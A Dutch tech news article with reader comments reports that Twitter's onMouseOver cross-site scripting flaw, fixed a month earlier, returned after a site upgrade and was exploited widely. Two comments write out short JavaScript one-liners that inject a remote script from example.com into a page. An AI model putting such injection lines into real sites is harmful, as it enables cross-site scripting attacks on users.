Twitter: xss-lek was eerder gedicht maar keerde terug
Twitter stelt in een blog dat het de kwetsbaarheid op zijn website waar dinsdag via een javascript-exploit op grote schaal misbruik van werd gemaakt, al vorige maand had gedicht. Het parsingsprobleem is vermoedelijk na een site-upgrade teruggekeerd.
Dinsdag werden de tijdlijnen van veel Twitter-gebruikers overspoeld met gemanipuleerde tweets die met behulp van een onMouseOver-event van javascript, code in een browser uitgevoerden. Bezoekers van Twitter.com werden onder andere doorgestuurd naar een Japanse pornosite zodra de muiscursor over een dergelijk bericht gleed. Ook werden berichten automatisch 'geretweet'.
Twitter wist de bug na enkele uren te dichten. In een toelichting op de zaak laat de firma weten dat de fout op de website vorige maand al was ontdekt en gerepareerd, maar dat de bug toch weer opdook. Waarschijnlijk is dit gebeurd bij de site-upgrade die het bedrijf op 14 september doorvoerde, maar de precieze oorzaak is niet bekend. Verder stelt Twitter tot nu toe geen aanwijzingen te hebben dat de exploit tot grote schade heeft geleid, zoals het stelen van wachtwoorden. Gebruikers van Twitterclients en de mobiele website zouden niet door de exploit getroffen zijn.
Inmiddels wordt er op de microblogdienst en op het web druk gespeculeerd over welke gebruiker dinsdag als eerste de gewraakte exploitcode op Twitter plaatste. Een 17-jarige Australiër die op Twitter opereert onder de alias @Zzap stelt tegenover persbureau AFP dat hij als eerste de gewraakte javascript-code plaatste waarna het balletje vanzelf ging rollen. Beveiligingssite Netcraft onderschrijft de claim van Zzap, maar The Guardian schrijft dat de Japanse ontwikkelaar Masato Kinugawa al op 15 augustus de xss-exploit bij Twitter rapporteerde. Toen Twitter zijn website op 14 september vernieuwde zou Kinugawa opnieuw de bug zijn tegengekomen.
Reacties (38)
Het is niet alsof hier nou een briljante truuk wordt uitgehaald...
s=document.createElement("script");s.src="http://example.com/script.js";document.body.appendChild(s)
Omdat het nieuws gemaakt wordt door journalisten, journalisten twitter gebruiken (=lekker makkelijk "nieuws" scroren) en dit dus in hun belevingswereld zit.Ontopic. Hoe komt het, dat dit zulk groot nieuws is dat het op het NOS Journaal is?
Valse beursberichten, strafbare of ongewenste uitlatingen. Impact lijkt me groot.
Voorbeeldje: Bill Cosby is al meermaals doodverklaard op Twitter.
d=document;d.body.appendChild(s=d.createElement("script"));s.src="http://example.com/script.js"
Zie maar wat je in 140 or 1024 bytes (zonder externe js libraries) kan doen op http://js1k.com/demos .. waarbij http://js1k.com/demo/814 mijn 1024 bytes demo is
Maar tussen de entries zitten ook een reeks 'tweetsized' effecten.
Je ziet dit soort grapjes ook wel als in versie 1.8 een nieuwe functionaliteit wordt aangeboden, die vervolgens in 2.0 weer weg is om in 2.1 weer terug te keren.
En voor Stainless steel. Je hoeft maar een code aan te kunnen roepen die (onder water) iets op een andere server opstart en je bent klaar. Dat hoeft geen 140 karakters in beslag te nemen.
Zoiet kan NIET gebeuren. Als je deze basis kennis niet beheerst is elke website onveilig die je maakt.
Het "Een bug gefixed en niet mee genomen in de volgende (major) release" scenario. Gebeurt zo vaak. Zeker als je denkt dat het nooit kan gebeuren. Apart is het zeker dit scenario dient door elk testplan gedekt te worden. Niet direct de test afdeling van twitter afschieten want die zal waarschijnlijk als afdeling niet bestaan.Zoiet kan NIET gebeuren.
Later kwamen er hele lijsten met dit soort trucs en werd het plots 'XSS' en viel het onder de 'hacks'.
Hierdoor heb ik zelf iig in mijn sites altijd mijn allerbest gedaan om (via whitelists) om alleen HTML te accepteren dat geen gevaar vormt.
Ach, het is wat ze zeggen, 'oud wordt weer nieuw'. Maar toch echt rampzalig slordig, dat mag gezegd worden.
Echter, ik vermoed dat het Twitter dev. team niet zo heel erg professioneel is: dit soort extra zaken zitten je time-to-market in de weg en worden dus niet snel toegevoegd als het geen direkte meerwaarde oplevert.
Snap niet dat zoiets kan gebeuren.
Op dit item kan niet meer gereageerd worden.
Onderwerpen
Populair: Tablets Samsung Websites en communities Mobiele telefoons Google Sony Games Microsoft Consoles Microsoft Xbox One
© 1998 - 2013 Tweakers.net B.V. Contact Over Tweakers Jouw privacy Algemene voorwaarden Cookies
Tweakers wordt uitgegeven door De Persgroep en wordt gehost door True
